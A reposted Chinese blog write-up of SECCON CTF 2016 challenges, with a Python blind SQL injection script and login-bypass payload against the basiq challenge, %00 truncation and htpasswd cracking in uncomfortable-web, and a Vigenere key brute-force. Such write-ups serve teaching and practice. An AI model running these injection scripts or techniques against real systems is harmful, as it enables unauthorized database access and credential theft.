我是靠谱客的博主 还单身镜子,这篇文章主要介绍Seccon CTF 2016 部分Writeup.mdweb100 basiqweb200 pppppoxyweb300 uncomfortable-webweb300 biscuiticrypto100 vigenere,现在分享给大家,希望可以做个参考。

  • web100 basiq
  • web200 pppppoxy
  • web300 uncomfortable-web
  • web300 biscuiti
  • crypto100 vigenere

做了国外的题才发现差的有多远。。。还是太菜了。。。

web100 basiq

看了看源码请求什么的,发现这道题是通过js请求CGI拿数据,没有什么大问题,然后看看js,有个client.js,跟进看看login啊之类的函数


function login(message){
if(message.status!=='OK'){
alert(message.error);
return;
}
loginuser = message.data;
$.getJSON('keiba.cgi?action=expenditure', expenditure);
var links = [{label:'Race Information',href:'/'},{label:'My Page',href:'/mypage.cgi'}];
if(loginuser == 'admin'){
links.push({label:'Admin', href:'/admin/'});
}
$('div.login').text('[ ');
for(var i=0; i<links.length; i++){
if(i>0){
$('div.login').append(document.createTextNode(' | '))
}
$('div.login')
.append($('<a>')
.attr('href',links[i].href)
.text(links[i].label));
}
$('div.login').append(document.createTextNode(' ] '));
..................
..................
..................

发现了一个admin页面,访问下,发现需要用户名和密码,也就是说这里是唯一一处不通过CGI的地方,那么便猜想是不是这里存在注入。

输入用户名admin,密码1' or 1=1 -- a

果然成功登陆进去了,抓个包看看是个BASIC认证,那么就可以写脚本爆破了。

然后我先写了个脚本如下:

import requests
import base64
url="http://basiq.pwn.seccon.jp/admin/"
r=requests.session()
ans=""
header={
'Host': 'basiq.pwn.seccon.jp',
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive',
'Cache-Control': 'max-age=0',
}
for i in xrange(1,100):
start=33
end=127
while start<end:
if end-start==1:
param="admin:1' or if(ascii(substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),{location},1))<={char},1,0)-- ".format(location=str(i),char=chr(start))
header['Authorization']='Basic '+base64.b64encode(param)
content=r.get(url,headers=header).content
if '401 Unauthorized' in content:
start=end
else:
end=start
else:
mid=(start+end)/2
param="admin:1' or if(ascii(substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),{location},1))<={char},1,0)-- ".format(location=str(i),char=mid)
header['Authorization']='Basic '+base64.b64encode(param)
#print header
content=r.get(url,headers=header).content
if '401 Unauthorized' in content:
start=mid
else:
end=mid
ans+=chr(start)
print ans.encode('hex')

跑的时候先打了三个空行,然后直接逗号

这里写图片描述

那么很显然我的区间[33,127]是错的,有表名在范围外的,但是改成[0,127]之后还是不行。

结果还是一样的

这里写图片描述

而且后面这些表我都爆了一遍也没啥东西。

那么就是第一个没有炸出来的表了。

也就是说很可能用了中文字符,或是别的编码的字符,至少占用了2字节以上的字符了。

这就稍稍麻烦了,需要转换下payload,把直接的字符串形式的表名先hex一下在substring截取来爆破。

即爆破它的16进制字符串就好啦,然后

爆破表名的poc如下:

import requests
import base64
url="http://basiq.pwn.seccon.jp/admin/"
r=requests.session()
ans=""
header={
'Host': 'basiq.pwn.seccon.jp',
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive',
'Cache-Control': 'max-age=0',
}
for i in xrange(1,100):
start=33
end=127
while start<end:
if end-start==1:
param="admin:1' or if(ascii(substring((select hex(group_concat(table_name)) from information_schema.tables where table_schema=database()),{location},1))<={char},1,0)-- ".format(location=str(i),char=chr(start))
header['Authorization']='Basic '+base64.b64encode(param)
content=r.get(url,headers=header).content
if '401 Unauthorized' in content:
start=end
else:
end=start
else:
mid=(start+end)/2
param="admin:1' or if(ascii(substring((select hex(group_concat(table_name)) from information_schema.tables where table_schema=database()),{location},1))<={char},1,0)-- ".format(location=str(i),char=mid)
header['Authorization']='Basic '+base64.b64encode(param)
#print header
content=r.get(url,headers=header).content
if '401 Unauthorized' in content:
start=mid
else:
end=mid
ans+=chr(start)
print ans

截图如下,只看第一个表。

这里写图片描述

2C是逗号的16进制,

也就是前面一大堆是第一张表名了。

接下来正常爆库就行了。

该表的列有id,name,pass

然后读取内容,需要将刚才的一对16进制编码下,然后表名是☹☺☻

所以最后的flag如下图:

这里写图片描述

web200 pppppoxy

看到一个exe。。。秒趟。。先跳为敬

web300 uncomfortable-web

题目允许上传py,sh,pl脚本,并且执行返回结果。

直接弹shell的没用。

那就先规规矩矩的试试。

上传如下


curl http://127.0.0.1:81/ -v -L

发现一个目录authedselect.cgi

目录被禁止访问了,

然后看看cgi,可以传参。

上传


curl http://127.0.0.1:81/select.cgi?txt=a -v -L

发现提示是authed/a.txt,

也就是说这个cgi读取的是authed下的文件,由于服务器是apache,而且一般来说访问不了目录多半是配置.htaccess,利用%00截断访问

这里写图片描述

果然访问得到要访问authed文件夹的用户名是keigo,并且得到另一个配置文件htpasswd,访问之拿到密码LdnoMJCeVy.SE

然后用JohnTheRipper解密如下:

这里写图片描述

得到密码是test。访问上去。

看到有个文件夹叫做sqlinj,继续跟进访问

进去后发现有100个cgi文件。

然后跑一下发现都没有动静,后来看别人的wp,说是72.cgi有sqli,但是我在补题的时候估计提目关了把,没有测成功,据说是接下来就普通联合注入爆库就可以了。

web300 biscuiti

这道题我单独写了篇blog,以纪念我在这道题上犯的无数的蠢。。。。

链接:http://blog.csdn.net/qq_19876131/article/details/53674972

crypto100 vigenere

题目给了密文和部分明文,还有vigenere映射表。

Vigenere
k: ????????????
p: SECCON{???????????????????????????????????}
c: LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ
k=key, p=plain, c=cipher, md5(p)=f528a6ab914c1ecf856a1d93103948fe
|ABCDEFGHIJKLMNOPQRSTUVWXYZ{}
-+----------------------------
A|ABCDEFGHIJKLMNOPQRSTUVWXYZ{}
B|BCDEFGHIJKLMNOPQRSTUVWXYZ{}A
C|CDEFGHIJKLMNOPQRSTUVWXYZ{}AB
D|DEFGHIJKLMNOPQRSTUVWXYZ{}ABC
E|EFGHIJKLMNOPQRSTUVWXYZ{}ABCD
F|FGHIJKLMNOPQRSTUVWXYZ{}ABCDE
G|GHIJKLMNOPQRSTUVWXYZ{}ABCDEF
H|HIJKLMNOPQRSTUVWXYZ{}ABCDEFG
I|IJKLMNOPQRSTUVWXYZ{}ABCDEFGH
J|JKLMNOPQRSTUVWXYZ{}ABCDEFGHI
K|KLMNOPQRSTUVWXYZ{}ABCDEFGHIJ
L|LMNOPQRSTUVWXYZ{}ABCDEFGHIJK
M|MNOPQRSTUVWXYZ{}ABCDEFGHIJKL
N|NOPQRSTUVWXYZ{}ABCDEFGHIJKLM
O|OPQRSTUVWXYZ{}ABCDEFGHIJKLMN
P|PQRSTUVWXYZ{}ABCDEFGHIJKLMNO
Q|QRSTUVWXYZ{}ABCDEFGHIJKLMNOP
R|RSTUVWXYZ{}ABCDEFGHIJKLMNOPQ
S|STUVWXYZ{}ABCDEFGHIJKLMNOPQR
T|TUVWXYZ{}ABCDEFGHIJKLMNOPQRS
U|UVWXYZ{}ABCDEFGHIJKLMNOPQRST
V|VWXYZ{}ABCDEFGHIJKLMNOPQRSTU
W|WXYZ{}ABCDEFGHIJKLMNOPQRSTUV
X|XYZ{}ABCDEFGHIJKLMNOPQRSTUVW
Y|YZ{}ABCDEFGHIJKLMNOPQRSTUVWX
Z|Z{}ABCDEFGHIJKLMNOPQRSTUVWXY
{|{}ABCDEFGHIJKLMNOPQRSTUVWXYZ
}|}ABCDEFGHIJKLMNOPQRSTUVWXYZ{

密钥长度12,由给出的部分明文推出前7位的key为VIGENER,也就是还剩五位,然后我们已知明文的hash,就可以通过枚举密钥解密来对比明文hash值。

但是五位密钥的话,28的五次方大概1700万+,这里我看密钥样子我猜测第八位密钥为E,这样就只用枚举60万+。最后脚本如下:

import hashlib
vigenere='ABCDEFGHIJKLMNOPQRSTUVWXYZ{}'
key='VIGENERE'
len_key=12
p="SECCON{?????BCDEDEF?????KLMNOPQ?????VWXYYZ}"
c="LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ"
cnt=0
def distance(a,b):
#a-b
if a>b:
return 28-(vigenere.find(a)-vigenere.find(b))
else:
return (vigenere.find(b)-vigenere.find(a))
for i1 in vigenere:
for j in vigenere:
for k in vigenere:
for l in vigenere:
tmp=key+i1+j+k+l
ans=""
cnt+=1
for i in xrange(len(p)):
ans+=vigenere[distance(tmp[i%12],c[i])]
print ans,cnt
if hashlib.md5(ans).hexdigest()=='f528a6ab914c1ecf856a1d93103948fe':
a=raw_input("Success! flag is "+ans)

运行截图如下:

这里写图片描述

最后

以上就是还单身镜子最近收集整理的关于Seccon CTF 2016 部分Writeup.mdweb100 basiqweb200 pppppoxyweb300 uncomfortable-webweb300 biscuiticrypto100 vigenere的全部内容,更多相关Seccon内容请搜索靠谱客的其他文章。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(47)

评论列表共有 0 条评论

立即
投稿
返回
顶部